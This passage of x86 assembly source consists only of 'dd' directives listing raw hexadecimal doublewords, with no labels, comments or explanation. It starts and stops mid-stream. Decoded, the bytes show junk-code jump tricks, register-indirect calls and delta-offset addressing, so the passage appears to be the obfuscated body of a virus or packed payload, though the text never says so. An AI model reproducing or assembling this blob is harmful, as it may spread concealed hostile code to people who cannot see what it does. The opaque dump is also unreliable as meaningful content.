589A6326h, 0BF66B4DEh dd 8E994E0h, 45000000h, 0DAD4BEBDh, 0C6B360DAh, 0FA066585h dd 74B24C07h, 0DA1CE968h, 918D03D9h, 0FF07FA1Fh, 0FA08A5B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 4ACD1B9Bh, 20A99589h, 858D07FAh, 7FA3AE2h dd 0E018D03h, 0D0FF07FAh, 88E0Fh, 0F510000h, 89h, 85895A00h dd 7FA2819h, 23218D89h, 85C607FAh, 7FA0665h, 99D3146h dd 6807FA0Bh, 0BADE0614h, 29E58D8Bh, 0B5FF07FAh, 7FA08A5h dd 68C0Fh, 0BD8B0000h, 7FA30E9h, 3AE2858Dh, 0D0FF07FAh dd 7E9h, 0FB828D00h, 0FEFBF5Dh, 28598589h, 85C607FAh, 7FA0665h dd 12E947h, 0F9DA0000h, 62B2EFACh, 3AA94146h, 95F2F09Bh dd 0CDB5EF45h, 0FB5E268h, 52006A8Ah, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8631A36Ch dd 15B531FDh, 0FF07FA18h, 0FA08A5B5h, 19B58907h, 8D07FA16h dd 0FA3AE285h, 14E96007h, 71000000h, 7CA11C22h, 67981805h dd 1F71C222h, 70556791h, 66F28C3Ah, 7779D881h, 9E861h dd 20260000h, 22AB32E4h, 8B0FC85Eh, 0D0FF59F8h, 700B97BAh dd 3585892Bh, 6A07FA28h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 35BBC353h, 0EA9E6FFFh dd 66585C6h, 0E84707FAh, 6, 57E95C5h, 8D8958F2h, 7FA07C5h dd 0B5F3685Ah, 14E983D0h, 9D000000h, 8AC43CC3h, 696C2C29h dd 0C5845E46h, 91715C6Ah, 0FF395FA1h, 0FA08A5B5h, 8D70B207h dd 0FA3AE285h, 6EBF6607h, 8BD0FF4Eh, 0FA20E595h, 0C9858907h dd 8B07FA18h, 6585C6CEh, 7707FA06h, 16BDB589h, 8B6607FAh dd 0A8A368D0h, 8D89F397h, 7FA14C9h, 515B5FFh, 810F07FAh dd 5, 0F2C18166h, 0E2858DAEh, 6A07FA3Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8C8FC355h dd 0BD89D0FFh, 7FA057Dh, 0ED81C3BFh, 0C585891Fh, 0F07FA0Dh dd 684h, 9D952900h, 0F07FA1Eh, 1280h, 0DE900h, 769C0000h dd 0A4327FB9h, 51BA61ADh, 0C650EC13h, 0FA066585h, 0D38B4707h dd 28FAF668h, 57006A87h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 9E88Eh, 0EA9D0000h, 6F669453h, 0F3DB5DFh dd 895AC8B7h, 0FA268995h, 0A5B5FF07h, 0F807FA08h, 3AE2858Dh dd 0B58907FAh, 7FA3395h, 0FFD68B66h, 0C5BD89D0h, 8907FA10h dd 0FA08C985h, 5E907h, 55310000h, 0C68AAB1Ah, 0FA066585h dd 0E8604307h, 13h, 75848EABh, 425FE4EBh, 741473BEh, 5389E48Dh dd 0F031A3Dh, 0F58C8B7h, 6861D0BFh, 0BC8E6EFCh, 0CAD8D8Bh dd 0B5FF07FAh, 7FA08A5h, 8DD3B70Fh, 0FA3AE285h, 0B1BD8B07h dd 8907FA21h, 0FA021185h, 2BD0FF07h, 0FA317DBDh, 1D858907h dd 8B07FA31h, 0FA258195h, 6585C607h, 4507FA06h, 1115958Bh dd 0B96607FAh, 6968B813h, 6A8E7269h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A048C350h dd 62F0ABB8h, 8B5EBA8Ch, 0A5B5FFCBh, 0F07FA08h, 118Bh dd 6E800h, 21160000h, 0B70A9B24h, 59DF8166h, 858D5FD1h dd 7FA3AE2h, 0AE9BD8Bh, 0D0FF07FAh, 68E0Fh, 958B0000h dd 7FA10B1h, 0EBD8589h, 9D8907FAh, 7FA2955h, 66585C6h dd 8B4407FAh, 0FA10E5BDh, 0E04FB907h, 64685AF4h, 66B8F2ECh dd 0FFD297B9h, 0FA08A5B5h, 0A58D8B07h, 8D07FA1Eh, 0FA3AE285h dd 0D58D3307h, 0FF07FA10h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7A775676h dd 2E618589h, 0BD3107FAh, 7FA202Dh, 66585C6h, 894307FAh dd 0FA2FA19Dh, 0F606007h, 81h, 0CE900h, 0DA180000h, 6A72ACA6h dd 3AD7E3C3h, 8161FA39h, 548A58E1h, 0A7686149h, 8BC0764Ah dd 0FA241D95h, 0A5B5FF07h, 6A07FA08h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 3E2DC357h dd 79CF6D75h, 0D2EF4C9Eh, 29D9BD8Bh, 858D07FAh, 7FA3AE2h dd 0FFA3C680h, 8589F5D0h, 7FA21ADh, 6880F60h, 3000000h dd 0FA2C9D8Dh, 0BD806107h, 7FD2F73h, 7C840F00h, 51000000h dd 235D958Bh, 8D5907FAh, 0FD2F5585h, 6D958B07h, 5007FA1Dh dd 6AB3D980h, 0FEBF0F01h, 0E580006Ah, 89006A59h, 0FA05718Dh dd 5995FF07h, 8907FA22h, 0FA1E85BDh, 6D858907h, 6607FA0Dh dd 0B509CF8Bh, 7FA078Dh, 880FFF6Ah, 0 dd 8DF832BFh, 6DB5FF41h, 0B207FA0Dh, 7595FF8Eh, 6A07FA28h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B87C350h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 64C873Eh, 8D8B807Ch, 7FA1451h dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 0D1B8C08Bh, 89000007h, 0FA20C985h, 249D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 0D1B85350h, 89000007h dd 0FA20C985h, 139D8D07h, 0FF07FCDFh, 52585BD3h, 95895AF8h dd 7FA1C05h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 44E342C3h, 0F58A1E91h, 2BD8529h dd 85C607FAh, 7FA0665h, 0B1BD8947h, 6807FA0Eh, 93C8F7C1h dd 2195958Bh, 0B5FF07FAh, 7FA08A5h, 17A1BD8Bh, 858D07FAh dd 7FA3AE2h, 8B60D0FFh, 0FA25D18Dh, 957BBA07h, 50610B74h dd 11810Fh, 66600000h, 7E9D18Bh, 39000000h, 2B7DFB62h dd 8D610671h, 0FD339685h, 4860F07h, 66000000h, 99CDCBAh dd 0FA29BDBDh, 9400C707h, 66000000h, 58A576B9h, 0B589CA8Bh dd 7FA351Dh, 3396B58Dh, 950907FDh, 7FA23B9h, 41BD8B56h dd 0FF07FA2Fh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 26E68006h, 3396858Dh dd 0B55207FDh, 9D895AC4h, 7FA0CF1h, 6047883h, 30850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 642C61C3h, 0C7A8D5DCh, 0FD342A85h, 107h dd 2912B900h, 0BD8337FEh, 7FA2579h, 79850F00h, 0E9000000h dd 7, 0DD6C004Ah, 83626A8Bh, 0FD342ABDh, 850F0007h, 60h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 87C35242h dd 5EF87C1Eh, 1885BD83h, 0F0007FAh, 3384h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BD8B3324h, 7FA2801h, 26F185C7h, 7FAh, 8D8B0000h, 7FA0121h dd 0F6DB8C66h, 840F04C3h, 5C2h, 6870Fh, 958B0000h, 7FA1659h dd 33ED85C7h, 7FAh, 0CE90000h, 44000000h, 2EF02795h, 94E31258h dd 809A77F6h, 0FD2F80BDh, 850F0007h, 6, 1B18D8Bh, 85C607FAh dd 7FA0665h, 0C99D2947h, 6807FA07h, 0E3E45B86h, 1BBD9589h dd 0B5FF07FAh, 7FA08A5h, 7CC18166h, 0E2858DAFh, 0E907FA3Ah dd 6, 4CE2F3B6h, 0D0FF8F93h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0FC35141h, 152F0BCFh, 0C19834Fh dd 758D8949h, 6607FA06h, 4C5BF281h, 12E8h, 0D8ADA500h dd 0D21B6AFAh, 0C2F2978Ah, 936FEAA1h, 0FB4CB20h, 68Ah dd 0F0F78100h, 5A5EDC2Dh, 10468h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B1E0F448h dd 0AD9D8DD6h, 6A07FA2Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 70BCC351h, 6A53BBh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 950116C3h, 7FA184Dh, 9B1003B9h, 6AD0FF7Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 9E83C350h, 36ADED6h, 0FA0D5D95h, 0AD858D07h, 6007FA2Fh dd 998D29F5h, 6107FA00h, 6DE98150h, 81074BF1h, 0F30C29C9h dd 32858D61h, 0F07FD2Fh, 281h, 50BEB200h, 12CA8166h, 858D8B36h dd 8D07FA08h, 0FD260585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0CFBF0F0Eh dd 0DE98166h, 0B70F5071h, 0C595FFD6h, 0F07FA0Dh, 0B589F9B7h dd 7FA0BC9h, 8B0CC483h, 0FA0089BDh, 41958B07h, 6A07FA16h dd 806800h, 36A0000h, 6A006Ah, 68h, 5858D80h, 5007FD26h dd 311D95FFh, 858907FAh, 7FD2F15h, 66585C6h, 684707FAh dd 0C7B15E87h, 8A5B5FFh, 858D07FAh, 7FA3AE2h, 6AD0FFh dd 2F15B5FFh, 0D0FF07FDh, 3DFCFA8Bh, 37D0h, 54830Fh, 0B70F0000h dd 15B5FFCFh, 5207FD2Fh, 5AD6BF0Fh, 21AD95FFh, 6A07FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0C816B6C3h, 0E181AC77h, 35F6EB74h, 113E9h, 0F9BF0F00h dd 0C880Fh, 8C0F0000h, 6, 2789958Bh, 0B5FF07FAh, 7FD2F15h dd 10E9h, 4CD0500h, 0EA781AB0h, 75A2E360h, 92C5BCB9h, 0AD95FF3Dh dd 6607FA21h, 0E98BD981h, 8B0F006Ah, 6, 294D8D29h, 6A07FAh dd 2C41BD29h, 6A07FAh, 0B458D0Bh, 0B70F07FAh, 0BF006ACEh dd 4CA38B3Dh, 8529006Ah, 7FA2305h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3E133BC3h dd 2742BE83h, 8531A3A7h, 7FA34C1h, 2F19858Dh, 6A07FDh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E8C977C3h, 6, 0F239826Bh, 89590A64h, 0FA31DDB5h, 8D8B5007h dd 7FA0B15h, 311D95FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 8344C5C3h, 0D0956F7Ch dd 8D896951h, 7FA234Dh, 0FFFF883h, 17585h, 81665700h, 5F1DE2E9h dd 0E5A0858Dh, 0E28007FCh, 81D0FF40h, 5249ADAh, 89006A0Ch dd 0FA242DBDh, 0F006A07h, 1485h, 0FE900h, 60C50000h, 0BB2858F4h dd 35467DAh, 0A54E331Fh, 66006A40h, 6A36BBB9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0E3A3A8Eh, 3EC1A277h, 0DE9006Ah, 1F000000h, 0EDF0BCAEh dd 92B5920Dh, 9725910Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 8D892DC3h, 7FA0841h dd 69CBBF66h, 2F19858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0E92F29C3h, 7, 55776713h dd 0FCB9080h, 0F550CABFh, 311D95FFh, 2BBA07FAh, 8075B59Bh dd 0F8835AEAh, 87850FFFh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2638C356h dd 6E71A32Ch, 0FC3159E7h, 2921B58Dh, 8D8B07FDh, 7FA0CA5h dd 0D38A858Dh, 6A07FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0D3CFC7C3h, 3A0AE4B8h, 816612FEh dd 0FF4C8BC9h, 85BD8BD0h, 6A07FA07h, 0C5B96600h, 5995010Eh dd 0FF07FA2Ah, 0FA0EBD95h, 6E95107h, 9D000000h, 5410A75h dd 8589590Bh, 7FD2F15h, 0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch dd 76BBB462h, 0D799D09h, 6A07FAh, 3D18B66h, 0FA14898Dh dd 0D858D07h, 8B07FD2Fh, 0FA269DBDh, 860F5007h, 6, 2915BD8Bh dd 46A07FAh, 0C4CDC781h, 858D1754h, 7FA1505h, 8A0Fh, 0E9500000h dd 10h, 0C5923D1Bh, 50D648E8h, 0EF9E5AF9h, 293C96B4h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BF0FB4C3h, 89006AC9h, 0FA201995h, 8B016A07h, 0FA0B29BDh dd 15B5FF07h, 0E907FD2Fh, 0Fh dd 0DF5D5B74h, 944FD093h, 38041542h, 0FF8C79CDh, 0FA2E6195h dd 1D84E907h, 89530000h, 0FA31B195h, 0C08B5A07h, 1491BD89h dd 0BD8307FAh, 7FA2ACDh, 83097500h, 0FA1899BDh, 19740007h dd 0C08B5350h, 7D2B8h, 0C9858900h, 8D07FA20h, 0FCE2249Dh dd 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h, 7D2B8h, 0C9858900h dd 8D07FA20h, 0FCDF139Dh, 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0F195896Eh dd 8B07FA00h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0EC5763F9h, 8F43DDB4h, 85C7A066h dd 7FA33EDh, 1, 68FEB70Fh, 0CEE4E7B8h, 0AF5B5FFh, 858D07FAh dd 7FA3AE2h, 8589D0FFh, 7FA081Dh, 3171858Dh, 8D5007FDh dd 0FD342E85h, 1685007h, 0FF800000h, 0FA081D95h, 75C00B07h dd 0D585C70Ah, 107FA00h, 68000000h, 0C005DBD4h, 0AF5B5FFh dd 858D07FAh, 7FA3AE2h, 8589D0FFh, 7FA1F0Dh, 23BE858Dh dd 0FF5007FDh, 0FA08A5B5h, 3595FF07h, 0B07FA28h, 8B0B74C0h dd 71858DD8h, 5007FD33h, 858DD3FFh, 7FD3371h, 9388366h dd 85C70A75h, 7FA1CC5h, 1, 8C995FFh, 0FF2507FAh, 83000000h dd 0A7305F8h, 0D9585C7h, 107FAh, 958B0000h, 7FA24EDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0EEC35646h, 0BF30F16Bh dd 99CF0D58h, 14E922h, 0DB530000h, 0F2EE04D3h, 6D9EA873h dd 3E8A83EAh, 0E4C757B4h, 8B0FB97Bh, 6, 305B589h, 0BD8007FAh dd 7FD2F80h, 23840F00h, 0E9000000h, 7, 0D7D2B64Eh, 0E90C7F73h dd 5, 29B928D6h, 2ABD8371h, 7FD34h, 14840Fh, 0A3E90000h dd 0E900001Bh, 0Ah, 0C389F46Fh, 14FAFAC8h, 0BD83B7BDh dd 7FA1CC5h, 10850F00h, 0E9000001h, 10h, 0CB39ED64h, 39444B1Fh dd 6D9AC61Ch, 0E04732Eh, 2DE5BD8Bh, 858D07FAh, 7FD2F4Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BCC35242h dd 666AAEE5h, 37E0C781h, 50D38B66h, 0F58D0B50h, 5907FA18h dd 8589016Ah, 7FA34D9h, 4BEBF66h, 6AFC006Ah, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 51F65667h, 18D0F57h, 0FC000000h, 225995FFh, 6A07FAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0BB1366C3h, 8589C8C7h, 7FD2F74h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 28C35343h, 9E2399BEh, 43737B76h dd 2EABAC5h, 0FF6A3F89h, 0FE9h, 0DFF6AC00h, 0B1F19AF2h dd 0EB139675h, 0C65A11EAh, 2F74B5FFh, 0E78107FDh, 7FD2ACBFh dd 287595FFh, 840F07FAh, 3, 8DCBB70Fh, 0FD238585h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0FDEE29ACh, 57502A32h, 9195CF81h, 0FF5F067Bh, 0FA281995h dd 6810F07h, 89000000h, 0FA2F4185h, 0F858907h, 8D07FD24h dd 0FD239285h, 7E907h, 33BE0000h, 3FDE65BFh, 13E950E8h dd 68000000h, 0BB63BDA8h, 0BAD96F7h, 0EEF97C55h, 0A3132E4Dh dd 0B5FFD54Eh, 7FD240Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 89C35545h, 3E8760Dh, 95FFECD3h, 7FA2835h dd 17C98589h, 18BA07FAh, 8D64FB56h, 0FD240085h, 47B96607h dd 6A50F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 686069C3h, 240FB5FFh, 858907FDh, 7FA3165h dd 283595FFh, 8D8907FAh, 7FA1491h, 24238589h, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 102AAEC3h, 8172A082h, 92CB9FE2h, 0E020BF06h, 858D30B0h dd 7FD23DFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 6CC35242h, 0A5E94ABh, 2BC7A47Ch, 35950950h, 0FF07FA14h dd 0FD240FB5h, 28A0F07h, 0B2000000h, 3595FF44h, 5007FA28h dd 5F2BDD80h, 241B8589h, 55B507FDh, 23D2858Dh, 0BD8B07FDh dd 7FA0E8Dh, 0F7816650h, 0B5FF8D71h, 7FD240Fh, 6830Fh dd 8D8B0000h, 7FA01BDh, 0B81B529h, 95FF07FAh, 7FA2835h dd 14E8h, 67713A00h, 45D2EC75h, 8A6FE66h, 0DA5603BDh, 8FCFD3B4h dd 5E832h, 23570000h, 0E9198F7Ch, 14h, 36045B5Dh, 2BA051A9h dd 0AA82826Ah, 6FE0DD6Bh, 3AE4A8A9h, 8589595Ah, 7FD241Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5C35545h dd 8B6F6D15h, 0FA0E99BDh, 0FE907h, 770E0000h, 0A13EC1A2h dd 604A628Eh, 0D3208B03h, 0ED858DBBh, 6A07FD23h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0A49EC352h, 66E9BA49h, 0A0BD7F6Ah, 0AF1958Bh, 816607FAh dd 50431DC2h, 78D950Bh, 0B5FF07FAh, 7FD240Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F3C35747h, 8A3B3FA7h dd 38A0FD3h, 66000000h, 95FFFB8Bh, 7FA2835h, 8C0F6060h dd 0 dd 24E5858Bh, 316107FAh, 0FA291585h, 85896107h, 7FA2481h dd 2C398589h, 858D07FAh, 7FD23A1h, 0DCA8166h, 6A505Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 277CFBC3h, 203CBAB1h, 0B5FF4F61h, 7FD240Fh, 0B0C18166h dd 3595FF01h, 0E807FA28h, 8, 82940FF8h, 316DAFFCh, 59D3BF0Fh dd 24138589h, 958907FDh, 7FA0755h, 23B0858Dh, 8D3107FDh dd 7FA238Dh, 0A18D8B50h, 0FF07FA10h, 0FD240FB5h, 3595FF07h dd 2307FA28h, 0FA16D595h, 17858907h, 0B907FD24h, 159D1BE6h dd 10468h, 0A7858D00h, 6A07FD24h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0B9FBC357h dd 5136FD0Ah, 29DD9523h, 505F07FAh, 2669BD8Bh, 8B6607FAh dd 0AB858DD1h, 0F07FD25h, 789h, 1830F00h, 0F8000000h, 0E1D78166h dd 6A507Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 68BE9C3h, 0FC345F1h, 95FFFFB7h, 7FA18C9h dd 0AE9D38Bh, 34000000h, 3E4396E5h, 0A8573F33h, 0FC08572h dd 1C85h, 0AE800h, 0ACB90000h, 0D3CB5DAFh, 0DAB56AB4h dd 0E098D8Bh, 15907FAh, 0FA0BED9Dh, 80BD8007h, 7FD2Fh dd 38850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 95D85EC3h, 0EA052693h, 810F9D6Bh dd 5, 0C5C98166h, 1640E94Eh, 0B9660000h, 0BD83E110h, 7FA1CC5h dd 1B850F00h, 0E9000000h, 6, 655AB646h, 0BD836A4Bh, 7FD342Ah dd 40840F00h, 0F000000h, 858DF8B7h, 7FD2444h, 34559D09h dd 3E907FAh, 0E9000016h, 2Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 2AC35646h, 0B589DBC8h, 7FA0669h dd 8DFB8B66h, 0FD242F85h, 0F50F807h, 8B66D3BFh, 0A7858DC8h dd 0F807FD24h, 50CFB70Fh, 0BC94F6BFh, 0C5BD830Dh, 7FA1Ch dd 44840Fh, 8B0F0000h, 6, 1F79B529h, 8A0F07FAh, 2, 858DD38Bh dd 7FD25CDh, 100DBD8Bh, 54E907FAh, 0E9000000h, 8, 0F994FC41h dd 0CFACD916h, 0DE9h, 90F3CC00h, 0C100D504h, 0D51E7EECh dd 858DD822h, 7FD25B6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0BAC35343h, 51DB39DDh, 8BEAFEC2h, 0FA21858Dh dd 91BD3107h, 5007FA00h, 2F419589h, 858D07FAh, 7FD2605h dd 6A50FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 4C34E6C3h, 0FFF13FBDh, 0FA0DC595h, 6E907h dd 0BB780000h, 891BD70Ah, 5FD38A53h, 8B10C483h, 60C08BCBh dd 2249858Bh, 0B52907FAh, 7FA0BC9h, 0CDBD8361h, 7FA2Ah dd 0BD830975h, 7FA1899h, 50197400h, 0B8C08B53h, 7D3h, 20C98589h dd 9D8D07FAh, 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh dd 0B8535017h, 7D3h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh dd 0EE851F5h, 0C4000000h, 11166131h, 219D75EEh, 0B95670E1h dd 0CEB70F1Fh, 0C08B5F59h, 0BD81CE8Ah, 7FD242Fh, 6165726Fh dd 0BB840Fh, 858D0000h, 7FD24A7h, 0E4858D50h, 5007FD25h dd 2605858Dh, 0FF5007FDh, 0FA0DC595h, 0CC48307h, 66585C6h dd 684407FAh, 96A3184Fh, 8A5B5FFh, 858D07FAh, 7FA3AE2h dd 0D88BD0FFh, 2605858Dh, 0FF5007FDh, 2F858DD3h, 5007FD24h dd 24A7858Dh, 835007FDh, 0FA1CC5BDh, 8740007h, 25CD858Dh dd 6EB07FDh, 25B6858Dh, 8D5007FDh, 0FD260585h, 95FF5007h dd 7FA0DC5h, 6A10C483h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 676FC350h, 6A2490D3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8B18C350h, 0FA08D18Dh, 0C995FF07h, 8107FA08h dd 3DF39AE9h, 0FF2567h, 83F80000h, 830F05F8h, 52h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5BC35747h, 2F49B3BAh dd 660F0AA3h, 85C7D68Bh, 7FA0D95h, 1, 2FE9BF66h, 2463858Dh dd 8D0B07FDh, 7FA2A9Dh, 8BE9h, 7880F00h, 0F000000h, 180h dd 0BD83FC00h, 7FA1CC5h, 49840F00h, 8B000000h, 0FA18618Dh dd 8E858D07h, 0F07FD24h, 0E87h, 85036000h, 7FA0D61h, 840Fh dd 0E9610000h, 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0BAC35343h, 365EE80Bh, 0F8B70F93h, 2470858Dh dd 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0EB331C3h, 391589CEh, 24A38589h, 958907FDh dd 7FA2215h, 1CC5BD83h, 0F0007FAh, 1585h, 0BF0F5600h, 0BD835AFBh dd 7FD342Ah, 0E840F00h, 80000000h, 87E99FC6h, 2B000012h dd 0FA316D95h, 4CDE907h, 0BD2B0000h, 7FA238Dh, 6AC08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 601CD3C3h, 8387CAE5h, 0FA2ACDBDh, 9750007h, 1899BD83h dd 740007FAh, 8B535019h, 7D4B8C0h, 85890000h, 7FA20C9h dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h dd 7D4B853h, 85890000h, 7FA20C9h, 0DF139D8Dh, 0D3FF07FCh dd 8D89585Bh, 7FA0829h, 5E9h, 5C740500h, 0C08B655Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D7C35343h, 0DCA9CBE3h dd 0B30ACF28h, 12E8h, 9A23B500h, 37A17998h, 3A43B276h dd 2E21409Dh, 0F3E517Fh, 685FD3B7h, 0F003Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B5C35646h, 66006AD9h dd 6A7D7EB9h, 12E800h, 490A0000h, 0B5179A90h, 6390A885h dd 69BEF85Ch, 6FF06E70h, 5966E980h, 17C995FFh, 10E907FAh dd 0BA000000h, 0E1B68F13h, 5946AA7Fh, 0D62F36C2h, 858FBF3Dh dd 850FC0h, 89000000h, 0FD242785h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0B1E2CF70h dd 0F006AE5h, 1E84h, 18830F00h, 0E9000000h, 13h, 8D28BA4Eh dd 4AD57650h, 0FCA228D9h, 5BFB004Fh, 6ADDBDCAh, 95B52900h dd 6A07FA1Eh, 958D8B00h, 6A07FA01h, 6A006A00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 7597C352h, 7EA9AD9Ch, 5858DFCh, 8B07FD26h, 0FA0EA995h dd 6A5007h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0ECE0E4C3h, 0B4A8ADB9h, 8B016A52h, 0FA17C1BDh dd 5E907h, 67840000h, 6A9AF3EEh, 0B966FC01h, 16A361Bh dd 0F01FF68h, 99858900h, 8307FA10h, 0FA1CC5BDh, 840F0007h dd 1Dh, 0AB6B6FBAh, 84858D3Ch, 6607FD24h, 0E06ACF81h, 14E9h dd 89D78B00h, 0FA23A585h, 5A858D07h, 8907FD24h, 0FA1CE1B5h dd 8D8B5007h, 7FA26E9h, 0B5FFF550h, 7FD2427h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 89C35242h, 6D4C84F7h dd 59926900h, 0FFC8BF0Fh, 0FD241395h, 6850F07h, 23000000h dd 0FA26F9BDh, 0FC08507h, 5385h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0FE8604Ch, 54000000h, 0CFE29CF4h dd 40177FC4h, 4F748EDBh, 0AE9F2E8h, 0A3000000h, 46A0D618h dd 0DF30D117h, 8D0B588Ch, 7FA2C39h, 0B4E961h, 958B0000h dd 7FA104Dh, 242B8589h, 952307FDh, 7FA1641h, 242BB5FFh dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 145DCEC3h, 0A633F7CEh, 7E9BFEBh, 0EF000000h dd 0BB55E828h, 880FE0F1h, 2Fh, 11E8h, 0A9488100h, 466CD383h dd 3462C8BBh, 0B310A1E8h, 13E9D73Fh, 0AE000000h, 5B13068Dh dd 0C7DEFDA2h, 80B36335h, 38DEF44Eh, 0FF5A4317h, 0FA248195h dd 4BBF5707h, 5F067ABBh, 850FC085h, 22h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 98C35545h, 7F1BD8Bh dd 106A07FAh, 0BD83CF8Ah, 7FA1CC5h, 35840F00h, 0E9000000h dd 12h, 0C30A7F81h, 2C4C9543h, 1662E221h, 0FC1C2FDCh, 858D9221h dd 7FD2484h, 23D9B589h, 30E907FAh, 0E8000000h, 7, 0DD1535A9h dd 5A8DBDFAh, 245A858Dh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 50D6F1C3h, 0C9BD8960h dd 0F07FA14h, 583h, 0D0816600h, 0FF610ECFh, 0FD2427B5h dd 418D8907h, 0FF07FA2Fh, 0FD241F95h, 13E807h, 77BE0000h 